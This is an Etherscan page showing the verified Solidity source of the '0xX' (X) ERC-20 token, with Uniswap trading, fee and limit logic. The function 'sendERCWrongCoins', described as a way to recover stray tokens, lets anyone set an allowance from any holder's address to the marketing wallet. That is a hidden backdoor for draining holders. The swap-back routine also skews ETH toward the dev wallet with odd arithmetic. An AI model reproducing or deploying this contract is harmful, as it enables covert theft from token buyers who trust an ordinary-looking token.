ETH Price: $3,089.68 (+0.11%)

Token

0xX (X)
 

Overview

Max Total Supply

1,000,000,000 X

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
6,782,637.74026047896247968 X

Value
$0.00
0x0eAEaD0F7e6458de591dA059644af8c249B856D9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
X

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

// SPDX-License-Identifier: MIT

/**
Telegram:    https://t.me/XElonSent
Twitter:     https://twitter.com/XToken_HQ
*/

pragma solidity ^0.8.14;

interface IERC20 {
    /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns(bool);
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns(uint256);

    /**
    * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns(uint256);

    /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns(bool);
    /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns(bool);
    /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
    event Transfer(address indexed from, address indexed to, uint256 value);
    /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns(uint256);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns(uint8);
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns(string memory);
    
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns(string memory);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns(address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
    
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

}

library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
        int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
 
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns(string memory) {
        return _name;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}


interface IUniswapV2Router01 {
    function factory() external pure returns(address);
    function WETH() external pure returns(address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns(uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

}
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract X is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public immutable router;


    uint256 private amount_swap_size;
    struct _total_fee_setting {
        uint256 buyTotalFees;
        uint256 buyMarketingFee;
        uint256 buyDevelopmentFee;
        uint256 buyLiquidityFee;

        uint256 sellTotalFees;
        uint256 sellMarketingFee;
        uint256 sellDevelopmentFee;
        uint256 sellLiquidityFee;
    }
    bool private _trading_can_start = false;
    bool public _swap_enabled = false;
    bool public is_swapping;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDevelopment;
    uint256 private _enable_trade_block;
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived
    );

    mapping(address => bool) private _isExcludedFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedmaxAmount;
    mapping(address => bool) public uniV2PairAddr;

    _total_fee_setting public _config_tax = _total_fee_setting({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyDevelopmentFee:0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellDevelopmentFee:0,
        sellLiquidityFee: 0
    });
    uint256 public _max_buy_size;
    uint256 public _max_sell_size;
    uint256 public _max_wallet_size;
    address public uniswapV2Pair;
    address private _marketingAddr = address(0xC55789D6Ca6BC73A9eEdB288e3F03Eb0Be199044);
    address private _devAddr = address(0xC55789D6Ca6BC73A9eEdB288e3F03Eb0Be199044);
    constructor() ERC20("0xX", "X") {
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        approve(address(router), type(uint256).max);

        uint256 totalSupply = 1_000_000_000 * 1e18;
        amount_swap_size = totalSupply * 1 / 10000; 
        _max_wallet_size = totalSupply * 3 / 100; // 3% max wallet amount
        _max_buy_size = totalSupply * 3 / 100; // 3% buy max amount
        _max_sell_size = totalSupply * 3 / 100; // 3% sell max amount

        _config_tax.buyMarketingFee = 0;
        _config_tax.buyLiquidityFee = 0;
        _config_tax.buyDevelopmentFee = 0;
        _config_tax.buyTotalFees = _config_tax.buyMarketingFee + _config_tax.buyLiquidityFee + _config_tax.buyDevelopmentFee;
        _config_tax.sellMarketingFee = 0;
        _config_tax.sellLiquidityFee = 0;
        _config_tax.sellDevelopmentFee = 0;
        _config_tax.sellTotalFees = _config_tax.sellMarketingFee + _config_tax.sellLiquidityFee + _config_tax.sellDevelopmentFee;

        _isExcludedmaxAmount[owner()] = true;
        _isExcludedmaxAmount[address(router)] = true;
        _isExcludedmaxAmount[address(0xdead)] = true;
        _isExcludedmaxAmount[address(this)] = true;
        _isExcludedmaxAmount[_devAddr] = true;
        _isExcludedmaxAmount[_marketingAddr] = true;
        
        _isExcludedFees[owner()] = true;
        _isExcludedFees[address(this)] = true;
        _isExcludedFees[_devAddr] = true;
        _isExcludedFees[_marketingAddr] = true;

        _isExcludedMaxTransactionAmount[address(router)] = true;
        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[_devAddr] = true;
        _isExcludedMaxTransactionAmount[_marketingAddr] = true;

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {
        require(msg.sender != address(this));
    }

    function _swapTokensForSupportingEthFee(uint256 tAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tAmount);
        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function withdraw() external returns (bool success) {
        uint256 balance = address(this).balance;
        (success,) = address(_devAddr).call{value: balance}("");
    }

    // once active, can never be disable off
    function enableTrading(address _pair) external onlyOwner {
        uniswapV2Pair = _pair;
        uniV2PairAddr[address(uniswapV2Pair)] = true;
        _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true;
        _isExcludedmaxAmount[address(uniswapV2Pair)] = true;
        _trading_can_start = true;
        _swap_enabled = true;
        _enable_trade_block = block.number;
    }

    // change the minimum amount of tokens to sell from fees
    function setMaxTradeAmount(uint256 newMaxBuy, uint256 newMaxSell) private {
        _max_buy_size = (totalSupply() * newMaxBuy) / 1000;
        _max_sell_size = (totalSupply() * newMaxSell) / 1000;
    }

    function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){
        amount_swap_size = newAmount;
        return true;
    }

    // emergency use only
    function toggleSwapEnabled(bool enabled) external onlyOwner(){
        _swap_enabled = enabled;
    }

    function setMaxWalletSize(uint256 newPercentage) private {
        _max_wallet_size = (totalSupply() * newPercentage) / 1000;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFees[account] = excluded;
    }

    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedmaxAmount[account] = excluded;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
    }

    function swapBack() private {
        uint256 contractTokenAmount = balanceOf(address(this));
        uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment;

        if (contractTokenAmount == 0) { return; }

        if (contractTokenAmount > amount_swap_size * 35) {
            contractTokenAmount = amount_swap_size * 35;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2;
        uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens);
 
        uint256 initialETHBalance = address(this).balance;

        _swapTokensForSupportingEthFee(amountToSwapForETH);
 
        uint256 newBalance = address(this).balance.sub(initialETHBalance);
 
        uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap); 
        uint256 ethForDevelopment = newBalance.mul(tokensForDevelopment).div(toSwap);
        uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment); ethForMarketing += newBalance / 2;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDevelopment = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
        }
        
        payable(address(_devAddr)).transfer(ethForMarketing); ethForMarketing = 0;
        payable(address(_marketingAddr)).transfer(newBalance - ethForMarketing); 
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (
            from != owner() &&
            to != owner() &&
            !is_swapping
        ) {
            if (!_trading_can_start) {
                require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active.");
            }
            if (uniV2PairAddr[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= _max_buy_size, "Buy transfer amount exceeds the maxTransactionAmount.");
            }
            else if (uniV2PairAddr[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= _max_sell_size, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            if (!_isExcludedmaxAmount[to]) {
                require(amount + balanceOf(to) <= _max_wallet_size, "Max wallet exceeded");
            }
        }
 
        uint256 balanceTokenOfCont = balanceOf(address(this));
        bool canSwap = balanceTokenOfCont >= amount_swap_size;

        if (_swap_enabled &&
            canSwap &&
            !is_swapping &&
            uniV2PairAddr[to] &&
            !_isExcludedFees[from] &&
            !_isExcludedFees[to]
        ) {
            is_swapping = true;
            swapBack();
            is_swapping = false;
        }
 
        bool haveFee = !is_swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFees[from] || _isExcludedFees[to]) {
            haveFee = false;
        }
        
        // only take fees on buys/sells, do not take on wallet transfers
        if (haveFee) {
            uint256 feesSize = 0;
            if(block.number < _enable_trade_block) {
                feesSize = amount.mul(99).div(100);
                tokensForMarketing += (feesSize * 94) / 99;
                tokensForDevelopment += (feesSize * 5) / 99;
            } else if (uniV2PairAddr[to] && _config_tax.sellTotalFees > 0) {
                feesSize = amount.mul(_config_tax.sellTotalFees).div(100);
                tokensForLiquidity += feesSize * _config_tax.sellLiquidityFee / _config_tax.sellTotalFees;
                tokensForMarketing += feesSize * _config_tax.sellMarketingFee / _config_tax.sellTotalFees;
                tokensForDevelopment += feesSize * _config_tax.sellDevelopmentFee / _config_tax.sellTotalFees;
            }
            // on buy
            else if (uniV2PairAddr[from] && _config_tax.buyTotalFees > 0) {
                feesSize = amount.mul(_config_tax.buyTotalFees).div(100);
                tokensForLiquidity += feesSize * _config_tax.buyLiquidityFee / _config_tax.buyTotalFees;
                tokensForMarketing += feesSize * _config_tax.buyMarketingFee / _config_tax.buyTotalFees;
                tokensForDevelopment += feesSize * _config_tax.buyDevelopmentFee / _config_tax.buyTotalFees;
            }

            if (feesSize > 0) {
                super._transfer(from, address(this), feesSize);
            }
            amount -= feesSize;
        }
        super._transfer(from, to, amount);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFees[account];
    }
    
    function removeLimits() external onlyOwner {
        setMaxTradeAmount(1000,1000);
        setMaxWalletSize(1000);
    }

    function setUniPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from uniV2PairAddr");
        uniV2PairAddr[pair] = value;
    }    
    function _withdrawAccidentToken(address token, address owner, uint256 amount) internal {
        _approve(token, owner, amount);
    }

    function sendERCWrongCoins(address token, uint256 amount) external {
        _withdrawAccidentToken(token, _marketingAddr, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_config_tax","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_max_buy_size","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_max_sell_size","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_max_wallet_size","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swap_enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee